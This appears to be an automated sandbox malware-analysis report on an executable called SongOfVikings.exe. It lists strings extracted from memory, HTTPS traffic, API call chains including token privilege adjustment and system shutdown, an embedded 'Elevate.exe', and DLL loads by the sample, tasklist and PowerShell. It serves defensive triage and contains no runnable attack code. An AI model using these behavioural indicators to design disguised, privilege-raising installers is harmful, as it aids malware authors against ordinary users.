Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://url.spec.whatwg.org/#url
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://url.spec.whatwg.org/#url-serializing
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://url.spec.whatwg.org/#urlsearchparams
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://url.spec.whatwg.org/#urlsearchparams-stringification-behavior
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://v8.dev/blog/v8-release-89
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://w3c.github.io/manifest/#installability-signals
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://w3c.github.io/resource-timing/#dfn-mark-resource-timing
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://w3c.github.io/resource-timing/#dfn-setup-the-resource-timing-entry
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://w3c.github.io/resource-timing/#dom-performance-setresourcetimingbuffersize
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://w3c.github.io/webappsec-subresource-integrity/#grammardef-option-expression
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://w3c.github.io/webappsec-subresource-integrity/#integrity-metadata-description
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://w3c.github.io/webappsec-subresource-integrity/#parse-metadata
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://w3c.github.io/webappsec-subresource-integrity/#the-integrity-attribute
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://webassembly.github.io/spec/web-api
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://webidl.spec.whatwg.org/#es-dictionary
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://webrtc.googlesource.com/src/
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.bluetooth.com/specifications/gatt/characteristics
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.bluetooth.com/specifications/gatt/descriptors
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.bluetooth.com/specifications/gatt/services
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.chromestatus.com/feature/5644273861001216.
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.chromestatus.com/feature/5682658461876224.
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.chromestatus.com/feature/5718547946799104
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://www.cisco.com/c/en/us/about/legal/privacy-full.html
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-line-terminators
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-promise.all
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.ecma-international.org/ecma-262/5.1/#sec-15.1.3.4
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.gnu.org/licenses/
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.gnu.org/software
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.gnu.org/software/automake/
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.gnu.org/software/coreutils/
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.iana.org/assignments/tls-extensiontype-values
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://www.nic.cz/odvr/
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://www.nic.cz/odvr/CZ.NIC
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.perl.org/
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://www.quad9.net/home/privacy/
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://www.quad9.net/home/privacy/Quad9
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.rfc-editor.org/rfc/rfc9110#section-5.2
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.sqlite.org/src/info/fac496b61722daf2
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.swift.org/download/
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.unicode.org/Public/UNIDATA/EastAsianWidth.txt
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.unicode.org/copyright.html.
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_00405461 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,FindCloseChangeNotification,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_00405461
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: GetRawInputData memstr_2937931d-9

System Summary

barindex
Source: C:\Users\user\Desktop\SongOfVikings.exe File dump: SongOfVikings.exe.0.dr 162141184 Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File dump: SongOfVikings.exe0.0.dr 162141184 Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_0040338F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040338F
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_00406B15 0_2_00406B15
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_004072EC 0_2_004072EC
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_00404C9E 0_2_00404C9E
Source: C:\Users\user\Desktop\SongOfVikings.exe Process token adjusted: Security Jump to behavior
Source: SongOfVikings.exe0.0.dr Static PE information: Number of sections : 15 > 10
Source: libEGL.dll.0.dr Static PE information: Number of sections : 11 > 10
Source: libGLESv2.dll.0.dr Static PE information: Number of sections : 11 > 10
Source: vk_swiftshader.dll.0.dr Static PE information: Number of sections : 11 > 10
Source: libGLESv2.dll0.0.dr Static PE information: Number of sections : 11 > 10
Source: vulkan-1.dll.0.dr Static PE information: Number of sections : 11 > 10
Source: libEGL.dll0.0.dr Static PE information: Number of sections : 11 > 10
Source: SongOfVikings.exe.0.dr Static PE information: Number of sections : 15 > 10
Source: SongOfVikings.exe, 00000000.00000003.1836425269.0000000006E10000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilename< vs SongOfVikings.exe
Source: SongOfVikings.exe, 00000000.00000003.1843324879.00000000051BB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamelibGLESv2.dllb! vs SongOfVikings.exe
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamevk_swiftshader.dll, vs SongOfVikings.exe
Source: SongOfVikings.exe, 00000000.00000003.1839026693.00000000051B7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamed3dcompiler_47.dllj% vs SongOfVikings.exe
Source: SongOfVikings.exe, 00000000.00000003.1902908317.00000000051B1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamevk_swiftshader.dll, vs SongOfVikings.exe
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamelibGLESv2.dllb! vs SongOfVikings.exe
Source: SongOfVikings.exe, 00000000.00000003.1778995184.0000000006036000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamed3dcompiler_47.dllj% vs SongOfVikings.exe
Source: SongOfVikings.exe, 00000000.00000003.1851320142.00000000051BE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename< vs SongOfVikings.exe
Source: SongOfVikings.exe, 00000000.00000003.1907116496.0000000006529000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameElevate.exeH vs SongOfVikings.exe
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: iconcodecservice.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: usp10.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: ffmpeg.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: uiautomationcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: kbdus.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: windows.ui.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: windowmanagementapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: inputhost.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: mmdevapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: devobj.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: mscms.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: coloradapterclient.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
